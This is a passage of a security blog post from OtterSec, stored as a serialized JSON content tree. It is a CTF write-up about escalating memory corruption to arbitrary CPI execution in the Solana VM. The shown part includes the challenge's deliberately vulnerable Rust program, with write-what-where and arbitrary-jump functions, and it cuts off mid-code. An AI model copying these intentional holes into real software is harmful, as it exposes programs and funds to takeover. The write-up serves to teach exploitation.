sFeatured":14,"onBlogPage":14,"body":37932,"_type":242,"_id":43352,"_source":244,"_file":43353,"_stem":43354,"_extension":247},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[37928,3153],"nicola",{"src":37930},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":16,"children":37933,"toc":43341},[37934,37948,37968,37973,37977,37990,38015,38021,38026,38041,38395,38410,38675,38691,39334,39340,39345,39358,39366,39578,39586,39889,39897,40040,40048,40573,40579,40591,40604,40618,40623,41391,41396,41404,41409,41415,41427,41492,41497,41510,41523,41529,41557,42708,42721,42763,42768,42773,42787,42927,42948,42969,42976,43027,43035,43046,43059,43064,43188,43201,43303,43307,43320,43325,43337],{"type":19,"tag":20,"props":37935,"children":37936},{},[37937,37939,37946],{"type":24,"value":37938},"In the world of CTFs, ",{"type":19,"tag":269,"props":37940,"children":37943},{"href":37941,"rel":37942},"https://twitter.com/paradigm_ctf",[273],[37944],{"type":24,"value":37945},"Paradigm CTF 2023",{"type":24,"value":37947}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":19,"tag":20,"props":37949,"children":37950},{},[37951,37953,37960,37961],{"type":24,"value":37952},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":19,"tag":269,"props":37954,"children":37957},{"href":37955,"rel":37956},"https://osec.io/blog/2022-03-14-solana-security-intro",[273],[37958],{"type":24,"value":37959},"Solana: An Auditor's Introduction",{"type":24,"value":8436},{"type":19,"tag":269,"props":37962,"children":37965},{"href":37963,"rel":37964},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[273],[37966],{"type":24,"value":37967},"Reverse Engineering Solana with Binary Ninja.\n",{"type":19,"tag":20,"props":37969,"children":37970},{},[37971],{"type":24,"value":37972},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":19,"tag":36,"props":37974,"children":37975},{"id":16409},[37976],{"type":24,"value":16412},{"type":19,"tag":20,"props":37978,"children":37979},{},[37980,37982,37988],{"type":24,"value":37981},"The challenge itself resides into ",{"type":19,"tag":27,"props":37983,"children":37985},{"className":37984},[],[37986],{"type":24,"value":37987},"framework/",{"type":24,"value":37989},", and is composed of 2 parts:",{"type":19,"tag":43,"props":37991,"children":37992},{},[37993,38004],{"type":19,"tag":47,"props":37994,"children":37995},{},[37996,38002],{"type":19,"tag":27,"props":37997,"children":37999},{"className":37998},[],[38000],{"type":24,"value":38001},"framework/chall/lib.rs",{"type":24,"value":38003},": The on-chain eBPF program that needs to be exploited.",{"type":19,"tag":47,"props":38005,"children":38006},{},[38007,38013],{"type":19,"tag":27,"props":38008,"children":38010},{"className":38009},[],[38011],{"type":24,"value":38012},"framework/src/main.rs",{"type":24,"value":38014},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":19,"tag":7050,"props":38016,"children":38018},{"id":38017},"vulnerable-program",[38019],{"type":24,"value":38020},"Vulnerable Program",{"type":19,"tag":20,"props":38022,"children":38023},{},[38024],{"type":24,"value":38025},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":19,"tag":2869,"props":38027,"children":38028},{},[38029],{"type":19,"tag":47,"props":38030,"children":38031},{},[38032,38033,38039],{"type":24,"value":4916},{"type":19,"tag":27,"props":38034,"children":38036},{"className":38035},[],[38037],{"type":24,"value":38038},"data[0] == 0",{"type":24,"value":38040}," a function that lets you write-what-where is executed",{"type":19,"tag":158,"props":38042,"children":38044},{"className":363,"code":38043,"language":362,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr.write_volatile(val);\n }\n}\n",[38045],{"type":19,"tag":27,"props":38046,"children":38047},{"__ignoreMap":7},[38048,38056,38101,38112,38235,38352,38381,38388],{"type":19,"tag":168,"props":38049,"children":38050},{"class":170,"line":171},[38051],{"type":19,"tag":168,"props":38052,"children":38053},{"style":212},[38054],{"type":24,"value":38055},"#[inline(never)]\n",{"type":19,"tag":168,"props":38057,"children":38058},{"class":170,"line":198},[38059,38063,38067,38072,38076,38080,38084,38088,38092,38096],{"type":19,"tag":168,"props":38060,"children":38061},{"style":382},[38062],{"type":24,"value":11136},{"type":19,"tag":168,"props":38064,"children":38065},{"style":382},[38066],{"type":24,"value":11141},{"type":19,"tag":168,"props":38068,"children":38069},{"style":175},[38070],{"type":24,"value":38071}," write",{"type":19,"tag":168,"props":38073,"children":38074},{"style":212},[38075],{"type":24,"value":500},{"type":19,"tag":168,"props":38077,"children":38078},{"style":393},[38079],{"type":24,"value":1120},{"type":19,"tag":168,"props":38081,"children":38082},{"style":399},[38083],{"type":24,"value":1922},{"type":19,"tag":168,"props":38085,"children":38086},{"style":399},[38087],{"type":24,"value":4577},{"type":19,"tag":168,"props":38089,"children":38090},{"style":212},[38091],{"type":24,"value":1152},{"type":19,"tag":168,"props":38093,"children":38094},{"style":825},[38095],{"type":24,"value":828},{"type":19,"tag":168,"props":38097,"children":38098},{"style":212},[38099],{"type":24,"value":38100},"]) {\n",{"type":19,"tag":168,"props":38102,"children":38103},{"class":170,"line":415},[38104,38108],{"type":19,"tag":168,"props":38105,"children":38106},{"style":382},[38107],{"type":24,"value":11279},{"type":19,"tag":168,"props":38109,"children":38110},{"style":212},[38111],{"type":24,"value":691},{"type":19,"tag":168,"props":38113,"children":38114},{"class":170,"line":450},[38115,38119,38123,38127,38132,38136,38141,38145,38150,38154,38159,38163,38167,38171,38175,38179,38183,38187,38191,38195,38199,38203,38207,38211,38215,38219,38223,38227,38231],{"type":19,"tag":168,"props":38116,"children":38117},{"style":382},[38118],{"type":24,"value":456},{"type":19,"tag":168,"props":38120,"children":38121},{"style":393},[38122],{"type":24,"value":11303},{"type":19,"tag":168,"props":38124,"children":38125},{"style":399},[38126],{"type":24,"value":402},{"type":19,"tag":168,"props":38128,"children":38129},{"style":212},[38130],{"type":24,"value":38131}," std",{"type":19,"tag":168,"props":38133,"children":38134},{"style":399},[38135],{"type":24,"value":888},{"type":19,"tag":168,"props":38137,"children":38138},{"style":212},[38139],{"type":24,"value":38140},"mem",{"type":19,"tag":168,"props":38142,"children":38143},{"style":399},[38144],{"type":24,"value":888},{"type":19,"tag":168,"props":38146,"children":38147},{"style":175},[38148],{"type":24,"value":38149},"transmute",{"type":19,"tag":168,"props":38151,"children":38152},{"style":399},[38153],{"type":24,"value":888},{"type":19,"tag":168,"props":38155,"children":38156},{"style":212},[38157],{"type":24,"value":38158},"\u003C[",{"type":19,"tag":168,"props":38160,"children":38161},{"style":825},[38162],{"type":24,"value":828},{"type":19,"tag":168,"props":38164,"children":38165},{"style":212},[38166],{"type":24,"value":14676},{"type":19,"tag":168,"props":38168,"children":38169},{"style":192},[38170],{"type":24,"value":1506},{"type":19,"tag":168,"props":38172,"children":38173},{"style":212},[38174],{"type":24,"value":20516},{"type":19,"tag":168,"props":38176,"children":38177},{"style":399},[38178],{"type":24,"value":2002},{"type":19,"tag":168,"props":38180,"children":38181},{"style":382},[38182],{"type":24,"value":1142},{"type":19,"tag":168,"props":38184,"children":38185},{"style":825},[38186],{"type":24,"value":3294},{"type":19,"tag":168,"props":38188,"children":38189},{"style":212},[38190],{"type":24,"value":5047},{"type":19,"tag":168,"props":38192,"children":38193},{"style":393},[38194],{"type":24,"value":1120},{"type":19,"tag":168,"props":38196,"children":38197},{"style":212},[38198],{"type":24,"value":1152},{"type":19,"tag":168,"props":38200,"children":38201},{"style":399},[38202],{"type":24,"value":442},{"type":19,"tag":168,"props":38204,"children":38205},{"style":192},[38206],{"type":24,"value":1506},{"type":19,"tag":168,"props":38208,"children":38209},{"style":212},[38210],{"type":24,"value":12858},{"type":19,"tag":168,"props":38212,"children":38213},{"style":399},[38214],{"type":24,"value":948},{"type":19,"tag":168,"props":38216,"children":38217},{"style":175},[38218],{"type":24,"value":23630},{"type":19,"tag":168,"props":38220,"children":38221},{"style":212},[38222],{"type":24,"value":11325},{"type":19,"tag":168,"props":38224,"children":38225},{"style":399},[38226],{"type":24,"value":948},{"type":19,"tag":168,"props":38228,"children":38229},{"style":175},[38230],{"type":24,"value":1079},{"type":19,"tag":168,"props":38232,"children":38233},{"style":212},[38234],{"type":24,"value":12872},{"type":19,"tag":168,"props":38236,"children":38237},{"class":170,"line":560},[38238,38242,38247,38251,38255,38259,38263,38267,38271,38275,38279,38283,38287,38291,38295,38299,38303,38307,38311,38315,38319,38324,38328,38332,38336,38340,38344,38348],{"type":19,"tag":168,"props":38239,"children":38240},{"style":382},[38241],{"type":24,"value":456},{"type":19,"tag":168,"props":38243,"children":38244},{"style":393},[38245],{"type":24,"value":38246}," val",{"type":19,"tag":168,"props":38248,"children":38249},{"style":399},[38250],{"type":24,"value":402},{"type":19,"tag":168,"props":38252,"children":38253},{"style":212},[38254],{"type":24,"value":38131},{"type":19,"tag":168,"props":38256,"children":38257},{"style":399},[38258],{"type":24,"value":888},{"type":19,"tag":168,"props":38260,"children":38261},{"style":212},[38262],{"type":24,"value":38140},{"type":19,"tag":168,"props":38264,"children":38265},{"style":399},[38266],{"type":24,"value":888},{"type":19,"tag":168,"props":38268,"children":38269},{"style":175},[38270],{"type":24,"value":38149},{"type":19,"tag":168,"props":38272,"children":38273},{"style":399},[38274],{"type":24,"value":888},{"type":19,"tag":168,"props":38276,"children":38277},{"style":212},[38278],{"type":24,"value":38158},{"type":19,"tag":168,"props":38280,"children":38281},{"style":825},[38282],{"type":24,"value":828},{"type":19,"tag":168,"props":38284,"children":38285},{"style":212},[38286],{"type":24,"value":14676},{"type":19,"tag":168,"props":38288,"children":38289},{"style":192},[38290],{"type":24,"value":1506},{"type":19,"tag":168,"props":38292,"children":38293},{"style":212},[38294],{"type":24,"value":20516},{"type":19,"tag":168,"props":38296,"children":38297},{"style":825},[38298],{"type":24,"value":5479},{"type":19,"tag":168,"props":38300,"children":38301},{"style":212},[38302],{"type":24,"value":5047},{"type":19,"tag":168,"props":38304,"children":38305},{"style":393},[38306],{"type":24,"value":1120},{"type":19,"tag":168,"props":38308,"children":38309},{"style":212},[38310],{"type":24,"value":1152},{"type":19,"tag":168,"props":38312,"children":38313},{"style":192},[38314],{"type":24,"value":1506},{"type":19,"tag":168,"props":38316,"children":38317},{"style":399},[38318],{"type":24,"value":442},{"type":19,"tag":168,"props":38320,"children":38321},{"style":192},[38322],{"type":24,"value":38323},"16",{"type":19,"tag":168,"props":38325,"children":38326},{"style":212},[38327],{"type":24,"value":12858},{"type":19,"tag":168,"props":38329,"children":38330},{"style":399},[38331],{"type":24,"value":948},{"type":19,"tag":168,"props":38333,"children":38334},{"style":175},[38335],{"type":24,"value":23630},{"type":19,"tag":168,"props":38337,"children":38338},{"style":212},[38339],{"type":24,"value":11325},{"type":19,"tag":168,"props":38341,"children":38342},{"style":399},[38343],{"type":24,"value":948},{"type":19,"tag":168,"props":38345,"children":38346},{"style":175},[38347],{"type":24,"value":1079},{"type":19,"tag":168,"props":38349,"children":38350},{"style":212},[38351],{"type":24,"value":12872},{"type":19,"tag":168,"props":38353,"children":38354},{"class":170,"line":666},[38355,38360,38364,38369,38373,38377],{"type":19,"tag":168,"props":38356,"children":38357},{"style":393},[38358],{"type":24,"value":38359}," ptr",{"type":19,"tag":168,"props":38361,"children":38362},{"style":399},[38363],{"type":24,"value":948},{"type":19,"tag":168,"props":38365,"children":38366},{"style":175},[38367],{"type":24,"value":38368},"write_volatile",{"type":19,"tag":168,"props":38370,"children":38371},{"style":212},[38372],{"type":24,"value":500},{"type":19,"tag":168,"props":38374,"children":38375},{"style":393},[38376],{"type":24,"value":10077},{"type":19,"tag":168,"props":38378,"children":38379},{"style":212},[38380],{"type":24,"value":1249},{"type":19,"tag":168,"props":38382,"children":38383},{"class":170,"line":694},[38384],{"type":19,"tag":168,"props":38385,"children":38386},{"style":212},[38387],{"type":24,"value":761},{"type":19,"tag":168,"props":38389,"children":38390},{"class":170,"line":707},[38391],{"type":19,"tag":168,"props":38392,"children":38393},{"style":212},[38394],{"type":24,"value":1326},{"type":19,"tag":2869,"props":38396,"children":38397},{"start":198},[38398],{"type":19,"tag":47,"props":38399,"children":38400},{},[38401,38402,38408],{"type":24,"value":4916},{"type":19,"tag":27,"props":38403,"children":38405},{"className":38404},[],[38406],{"type":24,"value":38407},"data[0] == 1",{"type":24,"value":38409},", a CPI to a non-existent program is executed:",{"type":19,"tag":158,"props":38411,"children":38413},{"className":363,"code":38412,"language":362,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n let ix = Instruction {\n program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n data: data.try_into().unwrap(),\n accounts: vec![]\n };\n\n invoke_signed_unchecked(\n &ix,\n &[],\n &[],\n ).unwrap();\n}\n",[38414],{"type":19,"tag":27,"props":38415,"children":38416},{"__ignoreMap":7},[38417,38424,38468,38493,38523,38563,38584,38591,38598,38610,38626,38638,38649,38668],{"type":19,"tag":168,"props":38418,"children":38419},{"class":170,"line":171},[38420],{"type":19,"tag":168,"props":38421,"children":38422},{"style":212},[38423],{"type":24,"value":38055},{"type":19,"tag":168,"props":38425,"children":38426},{"class":170,"line":198},[38427,38431,38435,38440,38444,38448,38452,38456,38460,38464],{"type":19,"tag":168,"props":38428,"children":38429},{"style":382},[38430],{"type":24,"value":11136},{"type":19,"tag":168,"props":38432,"children":38433},{"style":382},[38434],{"type":24,"value":11141},{"type":19,"tag":168,"props":38436,"children":38437},{"style":175},[38438],{"type":24,"value":38439}," call",{"type":19,"tag":168,"props":38441,"children":38442},{"style":212},[38443],{"type":24,"value":500},{"type":19,"tag":168,"props":38445,"children":38446},{"style":393},[38447],{"type":24,"value":1120},{"type":19,"tag":168,"props":38449,"children":38450},{"style":399},[38451],{"type":24,"value":1922},{"type":19,"tag":168,"props":38453,"children":38454},{"style":399},[38455],{"type":24,"value":4577},{"type":19,"tag":168,"props":38457,"children":38458},{"style":212},[38459],{"type":24,"value":1152},{"type":19,"tag":168,"props":38461,"children":38462},{"style":825},[38463],{"type":24,"value":828},{"type":19,"tag":168,"props":38465,"children":38466},{"style":212},[38467],{"type":24,"value":38100},{"type":19,"tag":168,"props":38469,"children":38470},{"class":170,"line":415},[38471,38475,38480,38484,38489],{"type":19,"tag":168,"props":38472,"children":38473},{"style":382},[38474],{"type":24,"value":385},{"type":19,"tag":168,"props":38476,"children":38477},{"style":393},[38478],{"type":24,"value":38479}," ix",{"type":19,"tag":168,"props":38481,"children":38482},{"style":399},[38483],{"type":24,"value":402},{"type":19,"tag":168,"props":38485,"children":38486},{"style":825},[38487],{"type":24,"value":38488}," Instruction",{"type":19,"tag":168,"props":38490,"children":38491},{"style":212},[38492],{"type":24,"value":691},{"type":19,"tag":168,"props":38494,"children":38495},{"class":170,"line":450},[38496,38501,38505,38510,38514,38519],{"type":19,"tag":168,"props":38497,"children":38498},{"style":393},[38499],{"type":24,"value":38500}," program_id",{"type":19,"tag":168,"props":38502,"children":38503},{"style":399},[38504],{"type":24,"value":1922},{"type":19,"tag":168,"props":38506,"children":38507},{"style":175},[38508],{"type":24,"value":38509}," pubkey!",{"type":19,"tag":168,"props":38511,"children":38512},{"style":212},[38513],{"type":24,"value":500},{"type":19,"tag":168,"props":38515,"children":38516},{"style":181},[38517],{"type":24,"value":38518},"\"osecio5555555555555551111111111111111111111\"",{"type":19,"tag":168,"props":38520,"children":38521},{"style":212},[38522],{"type":24,"value":4172},{"type":19,"tag":168,"props":38524,"children":38525},{"class":170,"line":560},[38526,38531,38535,38539,38543,38547,38551,38555,38559],{"type":19,"tag":168,"props":38527,"children":38528},{"style":393},[38529],{"type":24,"value":38530}," data",{"type":19,"tag":168,"props":38532,"children":38533},{"style":399},[38534],{"type":24,"value":1922},{"type":19,"tag":168,"props":38536,"children":38537},{"style":393},[38538],{"type":24,"value":12551},{"type":19,"tag":168,"props":38540,"children":38541},{"style":399},[38542],{"type":24,"value":948},{"type":19,"tag":168,"props":38544,"children":38545},{"style":175},[38546],{"type":24,"value":23630},{"type":19,"tag":168,"props":38548,"children":38549},{"style":212},[38550],{"type":24,"value":11325},{"type":19,"tag":168,"props":38552,"children":38553},{"style":399},[38554],{"type":24,"value":948},{"type":19,"tag":168,"props":38556,"children":38557},{"style":175},[38558],{"type":24,"value":1079},{"type":19,"tag":168,"props":38560,"children":38561},{"style":212},[38562],{"type":24,"value":898},{"type":19,"tag":168,"props":38564,"children":38565},{"class":170,"line":666},[38566,38571,38575,38579],{"type":19,"tag":168,"props":38567,"children":38568},{"style":393},[38569],{"type":24,"value":38570}," accounts",{"type":19,"tag":168,"props":38572,"children":38573},{"style":399},[38574],{"type":24,"value":1922},{"type":19,"tag":168,"props":38576,"children":38577},{"style":175},[38578],{"type":24,"value":1147},{"type":19,"tag":168,"props":38580,"children":38581},{"style":212},[38582],{"type":24,"value":38583},"[]\n",{"type":19,"tag":168,"props":38585,"children":38586},{"class":170,"line":694},[38587],{"type":19,"tag":168,"props":38588,"children":38589},{"style":212},[38590],{"type":24,"value":36472},{"type":19,"tag":168,"props":38592,"children":38593},{"class":170,"line":707},[38594],{"type":19,"tag":168,"props":38595,"children":38596},{"emptyLinePlaceholder":14},[38597],{"type":24,"value":1093},{"type":19,"tag":168,"props":38599,"children":38600},{"class":170,"line":725},[38601,38606],{"type":19,"tag":168,"props":38602,"children":38603},{"style":175},[38604],{"type":24,"value":38605}," invoke_signed_unchecked",{"type":19,"tag":168,"props":38607,"children":38608},{"style":212},[38609],{"type":24,"value":870},{"type":19,"tag":168,"props":38611,"children":38612},{"class":170,"line":746},[38613,38617,38622],{"type":19,"tag":168,"props":38614,"children":38615},{"style":399},[38616],{"type":24,"value":878},{"type":19,"tag":168,"props":38618,"children":38619},{"style":393},[38620],{"type":24,"value":38621},"ix",{"type":19,"tag":168,"props":38623,"children":38624},{"style":212},[38625],{"type":24,"value":915},{"type":19,"tag":168,"props":38627,"children":38628},{"class":170,"line":755},[38629,38633],{"type":19,"tag":168,"props":38630,"children":38631},{"style":399},[38632],{"type":24,"value":878},{"type":19,"tag":168,"props":38634,"children":38635},{"style":212},[38636],{"type":24,"value":38637},"[],\n",{"type":19,"tag":168,"props":38639,"children":38640},{"class":170,"line":1008},[38641,38645],{"type":19,"tag":168,"props":38642,"children":38643},{"style":399},[38644],{"type":24,"value":878},{"type":19,"tag":168,"props":38646,"children":38647},{"style":212},[38648],{"type":24,"value":38637},{"type":19,"tag":168,"props":38650,"children":38651},{"class":170,"line":1025},[38652,38656,38660,38664],{"type":19,"tag":168,"props":38653,"children":38654},{"style":212},[38655],{"type":24,"value":1070},{"type":19,"tag":168,"props":38657,"children":38658},{"style":399},[38659],{"type":24,"value":948},{"type":19,"tag":168,"props":38661,"children":38662},{"style":175},[38663],{"type":24,"value":1079},{"type":19,"tag":168,"props":38665,"children":38666},{"style":212},[38667],{"type":24,"value":1084},{"type":19,"tag":168,"props":38669,"children":38670},{"class":170,"line":1042},[38671],{"type":19,"tag":168,"props":38672,"children":38673},{"style":212},[38674],{"type":24,"value":1326},{"type":19,"tag":2869,"props":38676,"children":38677},{"start":415},[38678],{"type":19,"tag":47,"props":38679,"children":38680},{},[38681,38683,38689],{"type":24,"value":38682},"Finally, if ",{"type":19,"tag":27,"props":38684,"children":38686},{"className":38685},[],[38687],{"type":24,"value":38688},"data[0]",{"type":24,"value":38690}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":19,"tag":158,"props":38692,"children":38694},{"className":363,"code":38693,"language":362,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n\n data = &data[16..];\n\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n }\n}\n",[38695],{"type":19,"tag":27,"props":38696,"children":38697},{"__ignoreMap":7},[38698,38705,38753,38764,38884,38999,39018,39025,39060,39067,39186,39301,39320,39327],{"type":19,"tag":168,"props":38699,"children":38700},{"class":170,"line":171},[38701],{"type":19,"tag":168,"props":38702,"children":38703},{"style":212},[38704],{"type":24,"value":38055},{"type":19,"tag":168,"props":38706,"children":38707},{"class":170,"line":198},[38708,38712,38716,38721,38725,38729,38733,38737,38741,38745,38749],{"type":19,"tag":168,"props":38709,"children":38710},{"style":382},[38711],{"type":24,"value":11136},{"type":19,"tag":168,"props":38713,"children":38714},{"style":382},[38715],{"type":24,"value":11141},{"type":19,"tag":168,"props":38717,"children":38718},{"style":175},[38719],{"type":24,"value":38720}," process",{"type":19,"tag":168,"props":38722,"children":38723},{"style":212},[38724],{"type":24,"value":500},{"type":19,"tag":168,"props":38726,"children":38727},{"style":382},[38728],{"type":24,"value":1142},{"type":19,"tag":168,"props":38730,"children":38731},{"style":393},[38732],{"type":24,"value":12551},{"type":19,"tag":168,"props":38734,"children":38735},{"style":399},[38736],{"type":24,"value":1922},{"type":19,"tag":168,"props":38738,"children":38739},{"style":399},[38740],{"type":24,"value":4577},{"type":19,"tag":168,"props":38742,"children":38743},{"style":212},[38744],{"type":24,"value":1152},{"type":19,"tag":168,"props":38746,"children":38747},{"style":825},[38748],{"type":24,"value":828},{"type":19,"tag":168,"props":38750,"children":38751},{"style":212},[38752],{"type":24,"value":38100},{"type":19,"tag":168,"props":38754,"children":38755},{"class":170,"line":415},[38756,38760],{"type":19,"tag":168,"props":38757,"children":38758},{"style":382},[38759],{"type":24,"value":11279},{"type":19,"tag":168,"props":38761,"children":38762},{"style":212},[38763],{"type":24,"value":691},{"type":19,"tag":168,"props":38765,"children":38766},{"class":170,"line":450},[38767,38771,38775,38779,38783,38787,38791,38795,38799,38803,38807,38811,38815,38819,38823,38827,38831,38835,38840,38844,38848,38852,38856,38860,38864,38868,38872,38876,38880],{"type":19,"tag":168,"props":38768,"children":38769},{"style":382},[38770],{"type":24,"value":456},{"type":19,"tag":168,"props":38772,"children":38773},{"style":393},[38774],{"type":24,"value":11303},{"type":19,"tag":168,"props":38776,"children":38777},{"style":399},[38778],{"type":24,"value":402},{"type":19,"tag":168,"props":38780,"children":38781},{"style":212},[38782],{"type":24,"value":38131},{"type":19,"tag":168,"props":38784,"children":38785},{"style":399},[38786],{"type":24,"value":888},{"type":19,"tag":168,"props":38788,"children":38789},{"style":212},[38790],{"type":24,"value":38140},{"type":19,"tag":168,"props":38792,"children":38793},{"style":399},[38794],{"type":24,"value":888},{"type":19,"tag":168,"props":38796,"children":38797},{"style":175},[38798],{"type":24,"value":38149},{"type":19,"tag":168,"props":38800,"children":38801},{"style":399},[38802],{"type":24,"value":888},{"type":19,"tag":168,"props":38804,"children":38805},{"style":212},[38806],{"type":24,"value":38158},{"type":19,"tag":168,"props":38808,"children":38809},{"style":825},[38810],{"type":24,"value":828},{"type":19,"tag":168,"props":38812,"children":38813},{"style":212},[38814],{"type":24,"value":14676},{"type":19,"tag":168,"props":38816,"children":38817},{"style":192},[38818],{"type":24,"value":1506},{"type":19,"tag":168,"props":38820,"children":38821},{"style":212},[38822],{"type":24,"value":20516},{"type":19,"tag":168,"props":38824,"children":38825},{"style":382},[38826],{"type":24,"value":17721},{"type":19,"tag":168,"props":38828,"children":38829},{"style":212},[38830],{"type":24,"value":500},{"type":19,"tag":168,"props":38832,"children":38833},{"style":825},[38834],{"type":24,"value":5479},{"type":19,"tag":168,"props":38836,"children":38837},{"style":212},[38838],{"type":24,"value":38839},")>(",{"type":19,"tag":168,"props":38841,"children":38842},{"style":393},[38843],{"type":24,"value":1120},{"type":19,"tag":168,"props":38845,"children":38846},{"style":212},[38847],{"type":24,"value":1152},{"type":19,"tag":168,"props":38849,"children":38850},{"style":399},[38851],{"type":24,"value":442},{"type":19,"tag":168,"props":38853,"children":38854},{"style":192},[38855],{"type":24,"value":1506},{"type":19,"tag":168,"props":38857,"children":38858},{"style":212},[38859],{"type":24,"value":12858},{"type":19,"tag":168,"props":38861,"children":38862},{"style":399},[38863],{"type":24,"value":948},{"type":19,"tag":168,"props":38865,"children":38866},{"style":175},[38867],{"type":24,"value":23630},{"type":19,"tag":168,"props":38869,"children":38870},{"style":212},[38871],{"type":24,"value":11325},{"type":19,"tag":168,"props":38873,"children":38874},{"style":399},[38875],{"type":24,"value":948},{"type":19,"tag":168,"props":38877,"children":38878},{"style":175},[38879],{"type":24,"value":1079},{"type":19,"tag":168,"props":38881,"children":38882},{"style":212},[38883],{"type":24,"value":12872},{"type":19,"tag":168,"props":38885,"children":38886},{"class":170,"line":560},[38887,38891,38895,38899,38903,38907,38911,38915,38919,38923,38927,38931,38935,38939,38943,38947,38951,38955,38959,38963,38967,38971,38975,38979,38983,38987,38991,38995],{"type":19,"tag":168,"props":38888,"children":38889},{"style":382},[38890],{"type":24,"value":456},{"type":19,"tag":168,"props":38892,"children":38893},{"style":393},[38894],{"type":24,"value":38246},{"type":19,"tag":168,"props":38896,"children":38897},{"style":399},[38898],{"type":24,"value":402},{"type":19,"tag":168,"props":38900,"children":38901},{"style":212},[38902],{"type":24,"value":38131},{"type":19,"tag":168,"props":38904,"children":38905},{"style":399},[38906],{"type":24,"value":888},{"type":19,"tag":168,"props":38908,"children":38909},{"style":212},[38910],{"type":24,"value":38140},{"type":19,"tag":168,"props":38912,"children":38913},{"style":399},[38914],{"type":24,"value":888},{"type":19,"tag":168,"props":38916,"children":38917},{"style":175},[38918],{"type":24,"value":38149},{"type":19,"tag":168,"props":38920,"children":38921},{"style":399},[38922],{"type":24,"value":888},{"type":19,"tag":168,"props":38924,"children":38925},{"style":212},[38926],{"type":24,"value":38158},{"type":19,"tag":168,"props":38928,"children":38929},{"style":825},[38930],{"type":24,"value":828},{"type":19,"tag":168,"props":38932,"children":38933},{"style":212},[38934],{"type":24,"value":14676},{"type":19,"tag":168,"props":38936,"children":38937},{"style":192},[38938],{"type":24,"value":1506},{"type":19,"tag":168,"props":38940,"children":38941},{"style":212},[38942],{"type":24,"value":20516},{"type":19,"tag":168,"props":38944,"children":38945},{"style":825},[38946],{"type":24,"value":5479},{"type":19,"tag":168,"props":38948,"children":38949},{"style":212},[38950],{"type":24,"value":5047},{"type":19,"tag":168,"props":38952,"children":38953},{"style":393},[38954],{"type":24,"value":1120},{"type":19,"tag":168,"props":38956,"children":38957},{"style":212},[38958],{"type":24,"value":1152},{"type":19,"tag":168,"props":38960,"children":38961},{"style":192},[38962],{"type":24,"value":1506},{"type":19,"tag":168,"props":38964,"children":38965},{"style":399},[38966],{"type":24,"value":442},{"type":19,"tag":168,"props":38968,"children":38969},{"style":192},[38970],{"type":24,"value":38323},{"type":19,"tag":168,"props":38972,"children":38973},{"style":212},[38974],{"type":24,"value":12858},{"type":19,"tag":168,"props":38976,"children":38977},{"style":399},[38978],{"type":24,"value":948},{"type":19,"tag":168,"props":38980,"children":38981},{"style":175},[38982],{"type":24,"value":23630},{"type":19,"tag":168,"props":38984,"children":38985},{"style":212},[38986],{"type":24,"value":11325},{"type":19,"tag":168,"props":38988,"children":38989},{"style":399},[38990],{"type":24,"value":948},{"type":19,"tag":168,"props":38992,"children":38993},{"style":175},[38994],{"type":24,"value":1079},{"type":19,"tag":168,"props":38996,"children":38997},{"style":212},[38998],{"type":24,"value":12872},{"type":19,"tag":168,"props":39000,"children":39001},{"class":170,"line":666},[39002,39006,39010,39014],{"type":19,"tag":168,"props":39003,"children":39004},{"style":175},[39005],{"type":24,"value":38359},{"type":19,"tag":168,"props":39007,"children":39008},{"style":212},[39009],{"type":24,"value":500},{"type":19,"tag":168,"props":39011,"children":39012},{"style":393},[39013],{"type":24,"value":10077},{"type":19,"tag":168,"props":39015,"children":39016},{"style":212},[39017],{"type":24,"value":1249},{"type":19,"tag":168,"props":39019,"children":39020},{"class":170,"line":694},[39021],{"type":19,"tag":168,"props":39022,"children":39023},{"emptyLinePlaceholder":14},[39024],{"type":24,"value":1093},{"type":19,"tag":168,"props":39026,"children":39027},{"class":170,"line":707},[39028,39032,39036,39040,39044,39048,39052,39056],{"type":19,"tag":168,"props":39029,"children":39030},{"style":393},[39031],{"type":24,"value":38530},{"type":19,"tag":168,"props":39033,"children":39034},{"style":399},[39035],{"type":24,"value":402},{"type":19,"tag":168,"props":39037,"children":39038},{"style":399},[39039],{"type":24,"value":4577},{"type":19,"tag":168,"props":39041,"children":39042},{"style":393},[39043],{"type":24,"value":1120},{"type":19,"tag":168,"props":39045,"children":39046},{"style":212},[39047],{"type":24,"value":1152},{"type":19,"tag":168,"props":39049,"children":39050},{"style":192},[39051],{"type":24,"value":38323},{"type":19,"tag":168,"props":39053,"children":39054},{"style":399},[39055],{"type":24,"value":442},{"type":19,"tag":168,"props":39057,"children":39058},{"style":212},[39059],{"type":24,"value":29046},{"type":19,"tag":168,"props":39061,"children":39062},{"class":170,"line":725},[39063],{"type":19,"tag":168,"props":39064,"children":39065},{"emptyLinePlaceholder":14},[39066],{"type":24,"value":1093},{"type":19,"tag":168,"props":39068,"children":39069},{"class":170,"line":746},[39070,39074,39078,39082,39086,39090,39094,39098,39102,39106,39110,3911